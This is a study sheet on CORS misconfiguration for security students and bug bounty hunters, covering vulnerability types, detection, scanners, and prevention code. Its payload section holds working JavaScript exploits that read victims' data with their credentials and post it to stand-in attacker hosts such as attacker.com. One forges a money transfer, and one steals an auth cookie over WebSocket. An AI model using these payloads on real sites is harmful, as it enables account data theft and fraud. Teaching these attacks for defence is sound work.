CORS Misconfiguration - Security Study Sheet

📋 Definition

Cross-Origin Resource Sharing (CORS) misconfiguration is a vulnerability that occurs when a web application improperly configures CORS headers, allowing unauthorized cross-origin requests. This can lead to sensitive data exposure, cross-site request forgery, and other client-side attacks by bypassing the Same-Origin Policy.

🎯 Types and Categories

1. Wildcard Origin Misconfiguration

- **Description**: Using `*` wildcard with credentials
- **Characteristics**:
  - `Access-Control-Allow-Origin: *`
  - Combined with `Access-Control-Allow-Credentials: true`
  - Allows any origin to access resources

2. Null Origin Acceptance

- **Description**: Accepting null origin requests
- **Characteristics**:
  - `Access-Control-Allow-Origin: null`
  - Exploitable via sandboxed iframes
  - Local file access vulnerabilities

3. Subdomain Wildcard Issues

- **Description**: Overly permissive subdomain matching
- **Characteristics**:
  - Dynamic origin reflection
  - Weak subdomain validation
  - Subdomain takeover exploitation

4. Trusted Domain Exploitation

- **Description**: Exploitation through trusted but compromised domains
- **Characteristics**:
  - XSS in trusted domains
  - Subdomain takeover
  - Third-party widget vulnerabilities

5. Pre-flight Request Bypass

- **Description**: Bypassing CORS preflight checks
- **Characteristics**:
  - Simple request exploitation
  - Content-Type manipulation

    - Custom header avoidance

6. Credential Inclusion Issues

- **Description**: Improper credential handling in CORS
- **Characteristics**:
    - Authentication bypass
    - Session token exposure
    - Cookie leakage

7. CORS with JSONP

- **Description**: Combined CORS and JSONP vulnerabilities
- **Characteristics**:
    - Double vulnerability exploitation
    - Callback parameter manipulation
    - Cross-origin data exfiltration

🎯 Realistic Example Payloads

Basic CORS Exploitation

```
// Basic cross-origin request
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://vulnerable-api.com/user/profile', true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
        console.log('Stolen data:', xhr.responseText);
        // Send data to attacker server
        fetch('https://attacker.com/collect', {
            method: 'POST',
            body: xhr.responseText
        });
    }
};
xhr.send();
```

Wildcard Exploitation

```
<!-- Attacker's page exploiting wildcard CORS -->
<!DOCTYPE html>
<html>
<head>
    <title>CORS Exploit</title>
</head>
<body>
    <script>
```

```
        fetch('https://vulnerable-api.com/api/sensitive-data', {
            method: 'GET',
            credentials: 'include'
        })
        .then(response => response.json())
        .then(data => {
            // Send stolen data to attacker
            fetch('https://attacker.com/steal', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify(data)
            });
        })
        .catch(error => console.error('Error:', error));
    </script>
</body>
</html>
```

Null Origin Exploitation

```
<!-- Sandboxed iframe for null origin -->
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://vulnerable-api.com/admin/users', true);
    xhr.withCredentials = true;
    xhr.onload = function() {
        if (xhr.status === 200) {
            // Data successfully retrieved with null origin
            parent.postMessage(xhr.responseText, '*');
        }
    };
    xhr.send();
</script>
"></iframe>

<script>
    window.addEventListener('message', function(event) {
        // Receive stolen data from iframe
        fetch('https://attacker.com/collect', {
            method: 'POST',
            body: event.data
        });
    });
</script>
```

Dynamic Origin Reflection Exploit

```
// Test for dynamic origin reflection
function testCORS(targetUrl) {
    var testOrigins = [
        'https://evil.com',
        'https://example.com.evil.com',
        'https://evil.example.com',
        'http://evil.com',
        'null'
    ];

    testOrigins.forEach(origin => {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', targetUrl, true);
        xhr.withCredentials = true;

        // Override origin header (for testing purposes)
        xhr.setRequestHeader('Origin', origin);

        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {
                console.log(`Origin ${origin}: Status ${xhr.status}`);
                if (xhr.status === 200) {
                    console.log('Potential CORS vulnerability with origin:',
origin);
                }
            }
        };
        xhr.send();
    });
}
```

Advanced Data Exfiltration

```
// Comprehensive data extraction
async function extractSensitiveData() {
    const endpoints = [
        '/api/user/profile',
        '/api/admin/users',
        '/api/financial/accounts',
        '/api/internal/config'
    ];

    const baseUrl = 'https://vulnerable-api.com';
    const results = {};

    for (let endpoint of endpoints) {
        try {
            const response = await fetch(baseUrl + endpoint, {
                method: 'GET',
                credentials: 'include',
```

```
                headers: {
                    'X-Requested-With': 'XMLHttpRequest'
                }
            });

            if (response.ok) {
                results[endpoint] = await response.text();
            }
        } catch (error) {
            console.error(`Failed to fetch ${endpoint}:`, error);
        }
    }

    // Exfiltrate all collected data
    await fetch('https://attacker.com/exfiltrate', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(results)
    });
}

extractSensitiveData();
```

CSRF via CORS

```
<!-- CORS-enabled CSRF attack -->
<script>
    function performCORSCSRF() {
        fetch('https://vulnerable-api.com/api/transfer-money', {
            method: 'POST',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                to_account: '123456789',
                amount: 10000,
                currency: 'USD'
            })
        })
        .then(response => {
            if (response.ok) {
                console.log('Money transfer successful!');
            }
        });
    }

    // Execute on page load
    performCORSCSRF();
</script>
```

WebSocket CORS Exploitation

```
// WebSocket with CORS issues
var ws = new WebSocket('wss://vulnerable-api.com/websocket');

ws.onopen = function() {
    // Send authentication
    ws.send(JSON.stringify({
        type: 'auth',
        token: document.cookie.match(/auth_token=([^;]+)/)[1]
    }));
};

ws.onmessage = function(event) {
    var data = JSON.parse(event.data);

    // Forward all received data to attacker
    fetch('https://attacker.com/websocket-data', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(data)
    });
};
```

Mobile App API Exploitation

```
// Exploiting mobile API with CORS misconfiguration
function exploitMobileAPI() {
    var apiKey = 'extracted_from_mobile_app';

    fetch('https://mobile-api.com/user/sensitive-data', {
        method: 'GET',
        headers: {
            'Authorization': `Bearer ${apiKey}`,
            'X-Mobile-Version': '2.1.0',
            'User-Agent': 'MobileApp/2.1.0'
        },
        credentials: 'include'
    })
    .then(response => response.json())
    .then(data => {
        // Process and exfiltrate mobile user data
        sendToAttacker(data);
    });
}
```

GraphQL CORS Exploitation

```
// GraphQL endpoint CORS exploitation
function exploitGraphQL() {
    const query = `
        query {
            user {
                id
                email
                personalInfo {
                    ssn
                    address
                    phoneNumber
                }
                accounts {
                    accountNumber
                    balance
                }
            }
        }
    `;

    fetch('https://vulnerable-api.com/graphql', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ query: query })
    })
    .then(response => response.json())
    .then(data => {
        // Exfiltrate GraphQL data
        sendToAttacker(data);
    });
}
```

🔍 Manual Detection Methods

1. Header Analysis

- **Method**: Examine CORS headers in responses
- **Headers to check**:
  - `Access-Control-Allow-Origin`
  - `Access-Control-Allow-Credentials`
  - `Access-Control-Allow-Methods`
  - `Access-Control-Allow-Headers`

2. Origin Testing

- **Method**: Test different Origin header values
- **Test cases**:

```
Origin: https://evil.com
Origin: null
Origin: https://subdomain.target.com
Origin: https://target.com.evil.com
```

3. Subdomain Enumeration

- **Method**: Find subdomains that might be trusted
- **Tools**: subfinder, amass, dnsrecon
- **Test**: XSS in trusted subdomains

4. Preflight Request Testing

- **Method**: Test OPTIONS requests
- **Example**:

```
OPTIONS /api/data HTTP/1.1
Host: target.com
Origin: https://evil.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-Custom-Header
```

5. Credential Testing

- **Method**: Test with and without credentials
- **JavaScript**:

```
// Test with credentials
xhr.withCredentials = true;

// Test without credentials
xhr.withCredentials = false;
```

6. Browser Console Testing

- **Method**: Use browser dev tools for quick testing
- **Steps**:
    1. Open target site
    2. Open browser console
    3. Execute CORS test requests
    4. Analyze responses and errors

🛠 Recommended Open-Source Tools

1. **CORScanner**

- **GitHub**: https://github.com/chenjj/CORScanner
- **Description**: Fast CORS misconfiguration vulnerability scanner
- **Usage**: `python cors_scan.py -u http://example.com`

2. **Corsy**

- **GitHub**: https://github.com/s0md3v/Corsy
- **Description**: CORS misconfiguration scanner
- **Usage**: `python3 corsy.py -u http://example.com`

3. **CORS-Scanner**

- **GitHub**: https://github.com/laconicwolf/cors-scanner
- **Description**: Simple CORS vulnerability scanner
- **Usage**: `python3 cors-scanner.py -f urls.txt`

4. **Burp Suite Community**

- **Website**: https://portswigger.net/burp/communitydownload
- **Description**: Web application security testing platform
- **Features**: Manual CORS testing and analysis

5. **OWASP ZAP**

- **GitHub**: https://github.com/zaproxy/zaproxy
- **Description**: Comprehensive security testing proxy
- **Features**: CORS misconfiguration detection

6. **Nuclei**

- **GitHub**: https://github.com/projectdiscovery/nuclei
- **Description**: Fast vulnerability scanner
- **Usage**: `nuclei -u http://example.com -t nuclei-templates/misconfiguration/`

7. **curl**

- **Built-in tool**: Command-line HTTP client
- **Usage**:

```
curl -H "Origin: https://evil.com" -v http://example.com/api/data
```

8. **CORStest**

- **GitHub**: https://github.com/RUB-NDS/CORStest
- **Description**: Academic CORS testing tool
- **Usage**: Browser-based testing framework

9. **PostMessage CORS Scanner**

- **GitHub**: https://github.com/fransr/postMessage-tracker
- **Description**: PostMessage and CORS vulnerability scanner
- **Usage**: Browser extension for testing

10. **httpx**

- **GitHub**: https://github.com/projectdiscovery/httpx
- **Description**: Fast HTTP toolkit
- **Usage**: `echo "example.com" | httpx -silent -follow-host-redirects`

Prevention Techniques

1. Proper Origin Validation

```
// Node.js example
const allowedOrigins = [
    'https://trusted-domain.com',
    'https://app.trusted-domain.com'
];

app.use((req, res, next) => {
    const origin = req.headers.origin;
    if (allowedOrigins.includes(origin)) {
        res.setHeader('Access-Control-Allow-Origin', origin);
    }
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    next();
});
```

2. Avoid Wildcard with Credentials

```
# Python Flask example - WRONG
@app.after_request
def after_request(response):
    response.headers.add('Access-Control-Allow-Origin', '*')
    response.headers.add('Access-Control-Allow-Credentials', 'true')  # DANGEROUS!
    return response

# Python Flask example - CORRECT
@app.after_request
def after_request(response):
    origin = request.headers.get('Origin')
    if origin in ['https://trusted-domain.com']:
        response.headers.add('Access-Control-Allow-Origin', origin)
        response.headers.add('Access-Control-Allow-Credentials', 'true')
    return response
```

3. Strict Subdomain Validation

```
// Java example
public boolean isValidOrigin(String origin) {
    if (origin == null) return false;

    try {
        URL url = new URL(origin);
        String host = url.getHost();

        // Exact match for trusted domains
        return host.equals("trusted-domain.com") ||
               host.equals("app.trusted-domain.com");
    } catch (MalformedURLException e) {
        return false;
    }
}
```

4. Content Security Policy

```
Content-Security-Policy: default-src 'self'; connect-src 'self' https://trusted-api.com;
```

🎓 Study Tips for Interviews & Certifications

Key Points to Remember:

1. **Purpose**: CORS relaxes Same-Origin Policy for legitimate cross-origin requests
2. **Risk**: Misconfiguration can expose sensitive data and enable attacks
3. **Common mistakes**: Wildcard with credentials, null origin acceptance
4. **Prevention**: Whitelist trusted origins, proper validation

Common Interview Questions:

- "What is the Same-Origin Policy and how does CORS relate to it?"
- "What's dangerous about using `Access-Control-Allow-Origin: *` with credentials?"
- "How would you test for CORS misconfigurations?"
- "What's the difference between simple and preflight CORS requests?"

Practical Demonstration:

Be prepared to show CORS exploitation and explain proper configuration.

Real-world Examples:

- API endpoints exposing user data
- Financial applications with weak CORS
- SPA applications with overly permissive CORS
- Mobile app APIs with wildcard origins

This study sheet covers CORS Misconfiguration vulnerabilities comprehensively for security professionals, bug bounty hunters, and cybersecurity students.